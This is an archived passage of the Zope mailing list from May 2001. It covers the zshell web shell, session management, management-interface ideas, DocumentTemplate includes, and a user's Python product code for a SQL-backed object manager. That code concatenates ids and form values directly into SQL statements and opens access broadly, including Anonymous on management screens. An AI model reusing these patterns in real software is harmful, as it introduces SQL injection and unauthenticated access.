point inside zope and therefore the same, at that point, as something > stored in data.fs, as far as speed and performance goes. > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > -- _________________________________________________ peter sabaini, mailto: sabaini@niil.at ------------------------------------------------- From simon@joyful.com Thu May 3 17:21:57 2001 From: simon@joyful.com (Simon Michael) Date: 03 May 2001 09:21:57 -0700 Subject: [Zope] [ANN] zshell: The Zope Shell In-Reply-To: <7zelu6plzh.wl@maryse.iutc3.unicaen.fr.iutc3.unicaen.fr> (Serge Stinckwich's message of "Thu, 03 May 2001 16:04:34 +0200") References: <7zpudq1u6k.wl@maryse.iutc3.unicaen.fr.iutc3.unicaen.fr> <7zelu6plzh.wl@maryse.iutc3.unicaen.fr.iutc3.unicaen.fr> Message-ID: <878zke5roa.fsf@joyful.com> Serge Stinckwich writes: > > However these are different beasts: Stefane's one works in an > > external editor, mine works from within Zope's management > > interface. Ahhhh.. I get it. That's neat! It would be nice to have a unified zope shell with the same commands accessible through the web or from a remote command line. Here's how it looks in a wiki page: http://zwiki.org/TestPage Seems a bit dangerous though. There's probably some way to delete all pages with a single command. -Simon From tpassin@mitretek.org Thu May 3 17:53:26 2001 From: tpassin@mitretek.org (Thomas B. Passin) Date: Thu, 3 May 2001 12:53:26 -0400 Subject: AW: [Zope] Source from form result. References: Message-ID: <001101c0d3f1$92bbbc90$38a3f1ce@mitretek.org> > > [Tom] > > I don't know what you mean here, why can't you include the > > variables in the > > url? Where would you like to include the variables but find it can't be > > done? > > I don't know why. But the php script (on the external server) which is call > by the same result, if I pass the variables over the url! > [Tom] Maybe they use the POST method instead. Look at the form in the page and see. You are looking for method='POST'. You can certainly POST from httplib if that's what it takes. In fact, why don't you give us the complete start tag for the form you are interested in, the one that would show you the pictures if you clicked on its submit button. Tom P From Andreas Jung" Message-ID: <010801c0d3f2$2049d5b0$0901000a@SUXLAP> ----- Original Message ----- From: To: Sent: Thursday, May 03, 2001 12:24 PM Subject: RE: [Zope] TUX and Zope? + ab results > Caching w/ TUX, AFAIK, isn't going to be as efficient as Squid. I think > that likely the reason is that TUX is a webserver and not a cache, and that > (if TUX can cache; I think it can just proxy!) the overhead to proxying > likely mitigates a lot of the magic marshmallows in TUX like Zero Copy, > checksum caching, etc - a network copy is going to add latency, and cache > machinery is going to eat some CPU cycles. Somebody correct me if I am > mistaken here. > > Tux might work well with ExtImage/ExtFile and TUX's machinery for serving > some URLs and passing on others to another server (Apache, ZServer...). For > predictable content, that is served over and over, seems like Squid in http > accelerator mode is a better solution... The idea to integrate Python and Zope into the Linux kernel is cool. But only for the purpose to say "I am a cool geek - I am running Python in my kernel" :-) Anyway....you would not get a major speedup by integration all the stuff in the kernel because it would increase the speed of Zope and Python significantly. Andreas From lsloan@umich.edu Thu May 3 18:11:04 2001 From: lsloan@umich.edu (Lance E Sloan) Date: Thu, 03 May 2001 13:11:04 -0400 Subject: [Zope] #include with DocumentTemplate? Message-ID: <200105031711.NAA23452@birds.us.itd.umich.edu> I'm fairly new to Python and when I asked this question on a couple of the python.org mailing lists, I was told I should probably ask here instead. I'm writing some CGIs in Python and I borrowed the DocumentTemplate module from Zope because it does most of what I need. However, there's one thing that it apparently doesn't do that I would really like. And that would be to use "#include" tags to read in other DTML documents and parse them. That is, tags like this: Does DocumentTemplate already handle that? I couldn't find it in the documentation. If it's not already built-in, is it possible to add such a tag? I've seen the examples on zope.org for adding tags to DocumentTemplate's parser, but I don't know if its possible to get it to read a new file and parse it in the middle of parsing another template. Has anybody already implemented this? Thanks in advance. -- Lance E Sloan Web Services, Univ. of Michigan: Full-service Web and database design, development, and hosting. Specializing in Perl & Python CGIs. http://websvcs.itd.umich.edu/ - "Putting U on the Web" From augusto@artlover.com Thu May 3 18:12:00 2001 From: augusto@artlover.com (Ausum) Date: Thu, 03 May 2001 12:12:00 -0500 Subject: [Zope] [FEATURE REQUEST] Improving Zope's management interface References: Message-ID: <3AF19160.209268BB@artlover.com> I've uploaded pic snapshots hoping to explain them. They're based only in modifications to distribution dtml files, and one python module file. If you want the code I can send it to you, but you'll probably want to take a look first. :) http://www.zope.org/Members/ausum/some_improvements/ Ausum marc lindahl wrote: > > Maybe you can post them somewhere? > > > From: Ausum > > Date: Wed, 02 May 2001 18:02:22 -0500 > > To: zope@zope.org > > Subject: Re: [Zope] [FEATURE REQUEST] Improving Zope's management interface > > > > I've made very minor changes to my interface dtmls in order to reduce clicks > > when using Zope, all of them easy to implement. They are: > > > > - Full screen dtml editing window (with IE for PC), > > - Printer version dtml window, > > - "view" opening a new window > > - Pull-down menus to browse other editable objects while at the edit or > > properties window (without the need to click back to the main directory > > window every time) > > - Images rendered at the very directory list, when wanted. > > - Images rendered at the edit and properties pages, all the time. > > - Thiner directory row lines, smaller font sizes of the rows content and form > > objects, and of course, control buttons also on top. > > > > These are easy things to do, and they do help to reduce unnecessary clicks, > > right clicks and scrolling. Hope that some of them were considered for the > > next > > version of Zope. > > > > > > Ausum > > > > > > > > > > Tim Cook wrote: > >> > >> Dieter Maurer wrote: > >> > >>> For me, at least, it would be much more helpful, if > >>> the controlling buttons would be both at top and bottom. > >>> > >> > >> That's one that I'll 'second'. > >> > >> -- > >> Tim Cook, President - FreePM,Inc. > >> http://www.FreePM.com Office: (731) 884-4126 > >> ONLINE DEMO: http://www.freepm.org:8080/FreePM > >> > >> _______________________________________________ > >> Zope maillist - Zope@zope.org > >> http://lists.zope.org/mailman/listinfo/zope > >> ** No cross posts or HTML encoding! ** > >> (Related lists - > >> http://lists.zope.org/mailman/listinfo/zope-announce > >> http://lists.zope.org/mailman/listinfo/zope-dev ) > > > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://lists.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://lists.zope.org/mailman/listinfo/zope-announce > > http://lists.zope.org/mailman/listinfo/zope-dev ) From dieter@handshake.de Wed May 2 21:39:16 2001 From: dieter@handshake.de (Dieter Maurer) Date: Wed, 2 May 2001 22:39:16 +0200 (CEST) Subject: [Zope] [Ann] emulateRedirect: emulates redirection inside Zope In-Reply-To: <006801c0d2e1$9055f1c0$0200a8c0@iuvenonet.de> References: <200105011902.VAA02120@lindm.dm> <006801c0d2e1$9055f1c0$0200a8c0@iuvenonet.de> Message-ID: <15088.28788.172382.214993@lindm.dm> Joachim Werner writes: > > Dieter Maurer writes: > > The common task: > > > > A user fills a form and submits it. The submitted data is checked > > and if problems are detected, the user gets its > > original form together with a problem indication > > *AND* his already filled in data. > > > > is not yet well supported. > > > > A redirection to the form suffers from browser differences > > in the handling of the old request data and > > the difficulty to add all of them into the redirected > > URL. > > I always used an approach like this (only works with some session management > to get persistence of course): > > This is a pure example, so don't look at the details ;-) > > In the form I have: > > > *** check the data here, display the errors if necessary; if no errors, save > the data and redirect to the thankyou page > > > *** in the form, the variables are all called from the session (" variable missing>" to make sure there is no error if it was empty) > > > I call the form in the action method (by just not specifying an action). So > there is a loop until everything is fine. An interesting approach! You do not even need a session for this. It has one drawback for the application in my mind: I am working on an EnhancedPropertyManager: This object manages a sequence of attributes, each attribute with associated rights and an optional validator. Of course, a single form action should be able to update several property managers. To preserve modularity, I do not want to separate the check from the action. Thus, I want to tell each property manager, look these are the updates I have for you. It gets a problem handler instance where it can record each problem it encounters. When all managers are updated, I look at the problem handler whether it has any problem. If not, fine. If it has, however, I have an inconsistent state, the transaction needs to be aborted and the user informed about all problems. If I have a session object, I can achieve this without the "emulateRedirect" and use a standard "raise 'Redirect'". I do not like it very much to have to put the REQUEST.form content into the correct slot of a session object. In another project, we use a special product, called "FormDispatcher" for this purpose. It automatically remembers the form content when the form is left and restores it on return. Unfortunately, colleagues have some problems with the tool. I hope, "emulateRedirect" is easier. > One could also do the same by > redirecting back to the form if there is an error found by the action > method. As long as the fields are prefilled by Zope, I don't think the > browser issue applies. That's where the session object comes in. It's needed such that Zope is able to prefill the fields. And, of course, the session objects needs to have been filled with users input before. Now, the session content behaves like global variables. One needs to carefully manage their use to avoid use of them in the wrong context: possible but a bit error prone. > Can anybody comment whether this or the "emulateRedirect" approach is > better? The "emulateRedirect" has 2 drawbacks: 1. It uses undocumented Zope internas that may change without warning in new versions. You may not want to use such code in a production environment. Now, the complete code is about 10 lines. With a bit of Python knowledge, you may trust yourself to fix it easily if it should break.... 2. The method changes Zope internal view as if a redirect had been performed, but, of course, the browser (and intermediate HTTP processing agents) do still think of the original URL. They might get confused. Setting the "base" tag to avoid this, but there may be situations where this is not enough. Dieter From astlj@hotmail.com Thu May 3 18:35:02 2001 From: astlj@hotmail.com (Tommy Johnson) Date: Thu, 03 May 2001 09:35:02 -0800 Subject: [Zope] Session scoped variables Message-ID: Ok, now I have another question. How do you maintain state within Zope? I'm particularly interested in session scoped variables. Currently I'm trying to learn Zope by building an e-commerce application, and in all other languages, (ASP, ColdFusion, etc...) you have session scope available to you in order to track individual users, their individual shopping carts, customer info, etc. I haven't been able to find anything yet for Zope. It isn't something like SESSION.(whatever) is it? Also, does anyone know of a place that may have working examples of things of this nature. I'm thinking of publishing something like that (trials, discoveries, obstacles, how I solved them, and the like) after I complete this application. If I had something like that, it would benefit me greatly, so if there isn't anything out there ... Thanks in advance, Tommy _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From humcommunications@hotmail.com Thu May 3 18:35:25 2001 From: humcommunications@hotmail.com (Lee Hunter) Date: Thu, 03 May 2001 13:35:25 -0400 Subject: [Zope] [FEATURE REQUEST] Improving Zope's management interface Message-ID: Hey Ausum, Very cool! Improvements indeed! I don't care for the splitting of words into separate links "click vi/click ew" but everything else seems like a thoughtful fine-tuning of the UI. Hopefully these ideas will make it into an future release. Cheers Lee >From: Ausum >I've uploaded pic snapshots hoping to explain them. They're based only in >modifications to distribution dtml files, and one python module file. If >you >want the code >I can send it to you, but you'll probably want to take a look first. :) > >http://www.zope.org/Members/ausum/some_improvements/ > > >Ausum > > > > > >marc lindahl wrote: > > > > Maybe you can post them somewhere? > > > > > From: Ausum > > > Date: Wed, 02 May 2001 18:02:22 -0500 > > > To: zope@zope.org > > > Subject: Re: [Zope] [FEATURE REQUEST] Improving Zope's management >interface > > > > > > I've made very minor changes to my interface dtmls in order to reduce >clicks > > > when using Zope, all of them easy to implement. They are: > > > > > > - Full screen dtml editing window (with IE for PC), > > > - Printer version dtml window, > > > - "view" opening a new window > > > - Pull-down menus to browse other editable objects while at the edit >or > > > properties window (without the need to click back to the main >directory > > > window every time) > > > - Images rendered at the very directory list, when wanted. > > > - Images rendered at the edit and properties pages, all the time. > > > - Thiner directory row lines, smaller font sizes of the rows content >and form > > > objects, and of course, control buttons also on top. > > > > > > These are easy things to do, and they do help to reduce unnecessary >clicks, > > > right clicks and scrolling. Hope that some of them were considered for >the > > > next > > > version of Zope. > > > > > > > > > Ausum > > > > > > > > > > > > > > > Tim Cook wrote: > > >> > > >> Dieter Maurer wrote: > > >> > > >>> For me, at least, it would be much more helpful, if > > >>> the controlling buttons would be both at top and bottom. > > >>> > > >> > > >> That's one that I'll 'second'. > > >> > > >> -- > > >> Tim Cook, President - FreePM,Inc. > > >> http://www.FreePM.com Office: (731) 884-4126 > > >> ONLINE DEMO: http://www.freepm.org:8080/FreePM > > >> > > >> _______________________________________________ > > >> Zope maillist - Zope@zope.org > > >> http://lists.zope.org/mailman/listinfo/zope > > >> ** No cross posts or HTML encoding! ** > > >> (Related lists - > > >> http://lists.zope.org/mailman/listinfo/zope-announce > > >> http://lists.zope.org/mailman/listinfo/zope-dev ) > > > > > > > > > _______________________________________________ > > > Zope maillist - Zope@zope.org > > > http://lists.zope.org/mailman/listinfo/zope > > > ** No cross posts or HTML encoding! ** > > > (Related lists - > > > http://lists.zope.org/mailman/listinfo/zope-announce > > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > >_______________________________________________ >Zope maillist - Zope@zope.org >http://lists.zope.org/mailman/listinfo/zope >** No cross posts or HTML encoding! ** >(Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. From chrism@digicool.com Thu May 3 18:53:39 2001 From: chrism@digicool.com (Chris McDonough) Date: Thu, 3 May 2001 13:53:39 -0400 Subject: [Zope] Session scoped variables References: Message-ID: <001201c0d3f9$fd963150$a8063bd0@kurtz> Hi Tommy, There are several session mgmt systems for Zope, including SQLSession, HappySession, FSSession, and CoreSessionTracking. Search for these on Google or Zope.org. ----- Original Message ----- From: "Tommy Johnson" To: Sent: Thursday, May 03, 2001 1:35 PM Subject: [Zope] Session scoped variables > Ok, now I have another question. How do you maintain state within Zope? I'm > particularly interested in session scoped variables. Currently I'm trying to > learn Zope by building an e-commerce application, and in all other > languages, (ASP, ColdFusion, etc...) you have session scope available to you > in order to track individual users, their individual shopping carts, > customer info, etc. > > I haven't been able to find anything yet for Zope. It isn't something like > SESSION.(whatever) is it? > > Also, does anyone know of a place that may have working examples of things > of this nature. I'm thinking of publishing something like that (trials, > discoveries, obstacles, how I solved them, and the like) after I complete > this application. If I had something like that, it would benefit me greatly, > so if there isn't anything out there ... > > Thanks in advance, > Tommy > _________________________________________________________________ > Get your FREE download of MSN Explorer at http://explorer.msn.com > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From dave@kovach.com Thu May 3 18:58:31 2001 From: dave@kovach.com (dave@kovach.com) Date: 3 May 2001 10:58:31 -0700 Subject: [Zope] [ANN] zshell: The Zope Shell Message-ID: <20010503175831.6022.cpmta@c000.snv.cp.net> The shell idea is neat... Better at times than using the manage interface. Though it is pretty quick at what it does in terms of its ease of use for the admin... Has there been any work on a rich-gui editor and one that is more integrated with a HTML/XML/XHTML editor outside of just using WEBDAV with Dreamweaver or something. Something where its almost like your in the same IDE to do everything - build objects in Zope, edit web content, build html files etc.??? Cool work though. Sincerely David Kovach dave@kovach.com On Thu, 03 May 2001, Serge Stinckwich wrote: > > At Thu, 3 May 2001 14:42:11 +0200 (MET DST), > Jerome Alet wrote: > > > > On Thu, 3 May 2001, Jason Cunliffe wrote: > > > > > > I'm pleased to announce you the Zope Shell version 0.001. > > > > > > That is beautiful!! > > > > Thanks a lot ! > > > > I've desesperatly searched for something like that on zope.org this > > morning but without luck, so I've written my own :-) > > Hiya Jérome, > > there is already a Zope shell tool : > > -- > Serge Stinckwich -< ) http://multiagent.com/ > CNRS UMR 6072>GREYC>I3>SMILE /~\ http://squeak.org/ > Université de Caen>IUT de Caen>Campus 3>Dept Info (/ | http://zope.org/ > http://www.iutc3.unicaen.fr/~stincs/ _|_/ http://debian.org/ > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) _____________________________________________________ Get your name as your email and web site address. http://www.NetIdentity.com. Be somebody online. From alet@unice.fr Thu May 3 19:21:38 2001 From: alet@unice.fr (Jerome Alet) Date: Thu, 3 May 2001 20:21:38 +0200 Subject: [Zope] [ANN] zshell: The Zope Shell In-Reply-To: <878zke5roa.fsf@joyful.com>; from simon@joyful.com on Thu, May 03, 2001 at 09:21:57AM -0700 References: <7zpudq1u6k.wl@maryse.iutc3.unicaen.fr.iutc3.unicaen.fr> <7zelu6plzh.wl@maryse.iutc3.unicaen.fr.iutc3.unicaen.fr> <878zke5roa.fsf@joyful.com> Message-ID: <20010503202138.B479@nordine.ateur> On Thu, May 03, 2001 at 09:21:57AM -0700, Simon Michael wrote: > Serge Stinckwich writes: > > > However these are different beasts: Stefane's one works in an > > > external editor, mine works from within Zope's management > > > interface. > > It would be nice to have a unified zope shell with the same commands > accessible through the web or from a remote command line. > > Here's how it looks in a wiki page: http://zwiki.org/TestPage > Seems a bit dangerous though. There's probably some way to delete all > pages with a single command. YES be careful. however it doesn't seem to work with your url. I confirm it works fine at home. Another thing you've missed is that its powerfulness resides in its ability to deal with multiple commands, that's why the original form was a textarea, e.g.: cd myfolder ls Folder Image mv ThisFolder ThisOtherOne .. ls Folder Image cd .. ls cp ThisFolder myfolder Enjoy. Expect a new release very soon, you'll find the 'restart' command helpful ! bye, Jerome Alet From alet@unice.fr Thu May 3 19:29:36 2001 From: alet@unice.fr (Jerome Alet) Date: Thu, 3 May 2001 20:29:36 +0200 Subject: [Zope] [ANN] zshell: The Zope Shell In-Reply-To: <20010503202138.B479@nordine.ateur>; from Jerome.Alet@unice.fr on Thu, May 03, 2001 at 08:21:38PM +0200 References: <7zpudq1u6k.wl@maryse.iutc3.unicaen.fr.iutc3.unicaen.fr> <7zelu6plzh.wl@maryse.iutc3.unicaen.fr.iutc3.unicaen.fr> <878zke5roa.fsf@joyful.com> <20010503202138.B479@nordine.ateur> Message-ID: <20010503202936.D479@nordine.ateur> On Thu, May 03, 2001 at 08:21:38PM +0200, Jerome Alet wrote: > On Thu, May 03, 2001 at 09:21:57AM -0700, Simon Michael wrote: > > Serge Stinckwich writes: > > > > However these are different beasts: Stefane's one works in an > > > > external editor, mine works from within Zope's management > > > > interface. > > > > It would be nice to have a unified zope shell with the same commands > > accessible through the web or from a remote command line. > > > > Here's how it looks in a wiki page: http://zwiki.org/TestPage > > Seems a bit dangerous though. There's probably some way to delete all > > pages with a single command. > > YES be careful. I've just seen the access is now protected, it's a good idea else anyone could just do a: rm bye, Jerome From alet@unice.fr Thu May 3 19:25:48 2001 From: alet@unice.fr (Jerome Alet) Date: Thu, 3 May 2001 20:25:48 +0200 Subject: [Zope] [FEATURE REQUEST] Improving Zope's management interface In-Reply-To: <3AF19160.209268BB@artlover.com>; from augusto@artlover.com on Thu, May 03, 2001 at 12:12:00PM -0500 References: <3AF19160.209268BB@artlover.com> Message-ID: <20010503202548.C479@nordine.ateur> On Thu, May 03, 2001 at 12:12:00PM -0500, Ausum wrote: > I've uploaded pic snapshots hoping to explain them. They're based only in > modifications to distribution dtml files, and one python module file. If you > want the code > I can send it to you, but you'll probably want to take a look first. :) Except the Vi/Ew thing the rest is VERY interesting ! Please DC make this happen in Zope's core... bye, Jerome Alet From cbeaumon@msri.org Thu May 3 19:23:30 2001 From: cbeaumon@msri.org (Chris Beaumont) Date: Thu, 3 May 2001 11:23:30 -0700 Subject: [Zope] Summarization and Zope In-Reply-To: <3ADFB0C8.67C1B22E@artlover.com> References: <3ADFB0C8.67C1B22E@artlover.com> Message-ID: Hi Ausum , I wonder if you got any responses to this question.. I think there is a summarization CPAN module for Perl. To hook it up to Zope would be very cool... I'm also interested in this technique - to use for the automatic generation of meta tags.. Maybe you could hook the PERL module up to Zope somehow.. Please keep me posted as to your plans.. I'd be more than glad to help if I can.. Thanks Chris >After searching the Zope's site and the web, this is a question I've come up >with: >Is anybody working on a Summarization product for Zope? > >Some weeks ago, after reading the Directions Road Map, I realized >that the best >way to include these kind of features in Zope was to write communication >components to existing software, rather than dealing with new, complicated >code, from scratch. But I'm assuming there aren't current projects on >summarization written in Python, so if this is correct, this may be the right >moment to start a new proposal on this subject, at least at a very >basic level. > >Regards, > >Ausum > From andym@ActiveState.com Thu May 3 19:51:46 2001 From: andym@ActiveState.com (Andy McKay) Date: Thu, 3 May 2001 11:51:46 -0700 Subject: [Zope] Summarization and Zope References: <3ADFB0C8.67C1B22E@artlover.com> Message-ID: <001901c0d402$1a712660$ae03a8c0@activestate.com> > Maybe you could hook the PERL module up to Zope somehow.. Thats easy, call it straight from Zope or wrap it in a product. If you need help on this drop me a line. Cheers. -- Andy McKay. From simon@joyful.com Thu May 3 19:48:57 2001 From: simon@joyful.com (Simon Michael) Date: 03 May 2001 11:48:57 -0700 Subject: [Zope] Re: [ANN] zshell: The Zope Shell In-Reply-To: <20010503202138.B479@nordine.ateur> (Jerome Alet's message of "Thu, 3 May 2001 20:21:38 +0200") References: <7zpudq1u6k.wl@maryse.iutc3.unicaen.fr.iutc3.unicaen.fr> <7zelu6plzh.wl@maryse.iutc3.unicaen.fr.iutc3.unicaen.fr> <878zke5roa.fsf@joyful.com> <20010503202138.B479@nordine.ateur> Message-ID: <873dam5kva.fsf_-_@joyful.com> Jerome Alet writes: > however it doesn't seem to work with your url. I confirm it works > fine at home. What doesn't work ? I was hacking on it.. > Another thing you've missed is that its powerfulness resides in its > ability to deal with multiple commands, that's why the original form > was a textarea, e.g.: Didn't miss it, just preferred a text input because it reduces my mousing effort in netscape. I tweaked your code to allow multiple commands on a line (at http://zwiki.org/TestPage). What do you think about adding a "Run Zshell Commands" permission as an extra level of configurability for this mode of interaction ? Cheers -Simon From simon@joyful.com Thu May 3 19:58:39 2001 From: simon@joyful.com (Simon Michael) Date: 03 May 2001 11:58:39 -0700 Subject: [Zope] Python Scripts, questions (Re: [ANN] zshell: The Zope Shell) In-Reply-To: <878zke5roa.fsf@joyful.com> (Simon Michael's message of "03 May 2001 09:21:57 -0700") References: <7zpudq1u6k.wl@maryse.iutc3.unicaen.fr.iutc3.unicaen.fr> <7zelu6plzh.wl@maryse.iutc3.unicaen.fr.iutc3.unicaen.fr> <878zke5roa.fsf@joyful.com> Message-ID: <87zocu45uo.fsf_-_@joyful.com> What's also very neat is the modern Python Script - I hadn't seen one in action recently. Easy to install, powerful, trustable. I was able to import re but re.split gave an access violation. What's the latest with respect to using the re module in p.scripts ? With wiki synergies in mind, I exposed the script's body for (manager) editing on http://zwiki.org/TestPage. Question: do we have a general (or not) way to redirect manage edit actions to somewhere other than the ZMI ? Eg back to the wiki page in this case. -Simon From kyroraz@usa.net Thu May 3 20:13:29 2001 From: kyroraz@usa.net (Jason Joy) Date: 3 May 2001 12:13:29 MST Subject: [Zope] Product Creation and Permission Message-ID: <20010503191329.20352.qmail@nwcst320.netaddress.usa.net> I started working on this the other day and posted some questions regardi= ng this, and I apologize ahead of time for the length of this message, but t= his has me absolutely baffled and if anyone can offer some insight into Zope'= s ObjectManger and how it works in regards to this, it would be extremely appreciated. I am constructing a product that is basically in essence a SQL-Zclass, wh= ere you can manipulate SQL in a Object Manager. I have two classes, A and B,= where B works off of A. So, after you create a instance of A in Zope (in a folder or such), it ap= pears =2E. and then you click on it, it brings up a management screen (assuming= that we're allowable to do such) that runs a SQL command that displays the res= ults as "objects" in the instance of A. These instances displayed in A are re= lated to B. Clicking on one of these new instances of B should bring up a list= of further related objects contained in B (in the SQL database) and allow yo= u to manage objects C, D, E... etc. The problem that I am getting is A works = fine, and shows the objects of B contained within. However, when I click on on= e of these in the management screen, I get a request to login again, and I can= never enter in a correct authentication despite having full privledges to= this Zope server, and after three tries, I am dropped to a Unauthorized screen= saying that Username and Password are not correct. Can anyone shed any light on this issue? Is there something I am missing= , some class that I am not inheriting that's allowing Zope access to it's authentication methods? Or is what I am doing just plain impossible in Z= ope? = I have included examples of what I am trying to do below and apologize fo= r the length of this message. Jason A: import Globals from Globals import Persistent, Acquisition import AccessControl import OFS from B import * from pg import DB from AccessControl import ClassSecurityInfo from Acquisition import Implicit __allow_access_to_unprotected_subobjects__ =3D 1 class objectChunk(Implicit): security =3D ClassSecurityInfo() security.declareObjectPublic() security.setDefaultAccess('allow') security.__allow_access_to_unprotected_subobjects__ =3D 1 def SQLquery(query): db =3D "zope" server =3D "192.168.1.1" port =3D 5432 sqluser =3D "zope" sqlpassword =3D "********" data =3D [] if query[0:6] =3D=3D "SELECT": for output in DB(db,server,port,'',sqluser,sqlpassword).query(query).dictresult(): result =3D objectChunk() masterkeys =3D output.keys() for key in masterkeys: f =3D setattr(result, key, output[key]) data.append(result) else: SQLOUTPUT =3D DB(db,server,port,'',sqluser,sqlpassword).query(query) return (data) def manage_addA(self,id,name,description,REQUEST=3DNone): obja =3D A(id,name,description) self._setObject(id, obja) if REQUEST is not None: return self.manage_main(self, REQUEST) manage_addAForm =3D Globals.HTMLFile('dtml/add_obja', globals()) class A( OFS.ObjectManager.ObjectManager, OFS.PropertyManager.PropertyManager, Acquisition.Implicit, Persistent, AccessControl.Role.RoleManager, OFS.SimpleItem.Item, ): = a=3D() manage_options=3D( {'label':'Properties', 'action':'manage_main'}, {'label':'View', 'action':''}, ) + OFS.SimpleItem.SimpleItem.manage_options meta_type =3D 'Product' index_html =3D Globals.HTMLFile("dtml/obja", globals()) #manage_main =3D Globals.HTMLFile("dtml/edit_obja", globals()) def __init__(self, id, name,description): = self.id =3D id self.name =3D name self.desc =3D description = = def objectItems(self): objQUERY =3D "SELECT * FROM B WHERE dgid =3D '" + self.id + "'" QUERYRESULT =3D [] QUERYRESULT =3D SQLquery(objQUERY) = a =3D [] for objects in QUERYRESULT: tp =3D B(objects.id,objects.dgid,objects.obj_name,objects.obj_desc,objects.obj_c= reator,objects.obj_created,objects.obj_moddate) tpwrapper =3D [objects.id,tp] a.append(tpwrapper) return a = = def manage_beforeDelete(self,item,container): QUERYSTRING =3D "DELETE FROM B WHERE dgid =3D '" + item.id + "'" queryresult =3D SQLquery(QUERYSTRING) def _getOb(self,id,dp=3D2): __allow_access_to_unprotected_subobjects__ =3D 1 nextobject =3D B(self.id,id,"name","desc","creater","createrdate","moddate") = return nextobject def _delObjects(self,id): "This deletes the objects specified" = print "In the _delObjects" = def _delOb(self,id): "This deletes the objects specified" = SQLQUERY =3D "DELETE FROM B WHERE id =3D '" + id + "'" INQUIRE =3D SQLquery(SQLQUERY) Globals.default__class_init__(A) Globals.default__class_init__(B) Globals.InitializeClass(objectChunk) B: import Globals from Globals import Persistent, Acquisition import AccessControl import OFS from pg import DB from AccessControl import ClassSecurityInfo from Acquisition import Implicit __ac_permissions__ =3D ( ('View', ('index_html', '__getitem__', 'id', 'pageCount', 'getAllPages', 'getPage', 'navigationBar')), ('Management Screens', ('manage_main','manage_edit', 'manage_addPage', 'manage_editPage', 'manage_deletePages')), ('Anonymous','Anonymous'), ) __allow_access_to_unprotected_subobjects__ =3D 1 class objectChunk(Implicit): security =3D ClassSecurityInfo() security.declareObjectPublic() security.setDefaultAccess('allow') security.__allow_access_to_unprotected_subobjects__ =3D 1 def SQLquery(query): ## change these when you change servers db =3D "zope" server =3D "192.168.1.1" port =3D 5432 sqluser =3D "zope" sqlpassword =3D "********" data =3D [] if query[0:6] =3D=3D "SELECT": for output in DB(db,server,port,'',sqluser,sqlpassword).query(query).dictresult(): result =3D objectChunk() masterkeys =3D output.keys() for key in masterkeys: f =3D setattr(result, key, output[key]) data.append(result) else: SQLOUTPUT =3D DB(db,server,port,'',sqluser,sqlpassword).query(query) return (data) def manage_addB(self,dg_id,id,name,desc,creater,createrdate,moddate,REQUEST=3D= None): The argument 'self' will be bound to the parent Folder. QUERYSTRING =3D "INSERT INTO C (id,dgid,obj_name,obj_desc,obj_creator,obj_created,obj_moddate) VALUES ('"+id+"','"+dg_id+"','"+name+"','"+desc+"','"+creater+"','"+createrdate+= "','"+moddate+"')" print QUERYSTRING SQLRETURN =3D SQLquery(QUERYSTRING) if REQUEST is not None: return self.manage_main(self, REQUEST) manage_addTopicForm =3D Globals.HTMLFile('dtml/add_obj', globals()) class B( OFS.ObjectManager.ObjectManager, OFS.PropertyManager.PropertyManager, = Acquisition.Implicit, Persistent, AccessControl.Role.RoleManager, OFS.SimpleItem.Item, ): __ac_permissions__ =3D ( ('Change Management', ('manage_main','manage_edit', 'manage_addPage', 'manage_editPage', 'index_html')), ) a=3D() security =3D ClassSecurityInfo() security.declareObjectPublic() ##security.setDefaultAccess('allow') security.__allow_access_to_unprotected_subobjects__ =3D 1 manage_workspace__roles__=3D('Manager','Anonymous',) manage_options=3D( {'label':'Properties', 'action':'manage_main'}, {'label':'View', 'action':''}, ) + OFS.SimpleItem.SimpleItem.manage_options = meta_type =3D 'Product 2' index_html =3D Globals.HTMLFile("dtml/obj", globals()) manage_main =3D Globals.HTMLFile("dtml/edit_obj", globals()) def __init__(self,dg_id,id,name,desc,creater,createrdate,moddate): self.dg_id =3D dg_id = self.id =3D id self.name =3D name self.desc =3D desc self.creater =3D creater self.createdate =3D createrdate self.moddate =3D moddate __allow_access_to_unprotected_subobjects__ =3D 1 manage_workspace__roles__=3D('Manager','Anonymous',) def objectItems(self): print "In the objectItems method of Tp" objQUERY =3D "SELECT * FROM B WHERE dgid =3D '" + self.id + "'" QUERYRESULT =3D [] QUERYRESULT =3D SQLquery(objQUERY) a =3D [] for objects in QUERYRESULT: tp =3D B(objects.id,objects.dgid,objects.obj_name,objects.obj_desc,objects.obj_c= reator,objects.obj_created,objects.obj_moddate) tpwrapper =3D [objects.id,tp] a.append(tpwrapper) return a Globals.InitializeClass(objectChunk) ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=3D= 1 From tpassin@mitretek.org Thu May 3 20:21:09 2001 From: tpassin@mitretek.org (Thomas B. Passin) Date: Thu, 3 May 2001 15:21:09 -0400 Subject: [Zope] #include with DocumentTemplate? References: <200105031711.NAA23452@birds.us.itd.umich.edu> Message-ID: <009e01c0d406$355ddcd0$38a3f1ce@mitretek.org> [Lance E Sloan] > I'm writing some CGIs in Python and I borrowed the DocumentTemplate > module from Zope because it does most of what I need. However, there's > one thing that it apparently doesn't do that I would really like. And > that would be to use "#include" tags to read in other DTML documents > and parse them. That is, tags like this: > > > > Does DocumentTemplate already handle that? I couldn't find it in the > documentation. [Tom] If you want to display ("render") header_dtml, write If you want to call it (i.e., get it to do something that isn't intended to display), write I don't see that there is really a need for an "include" as such since you can 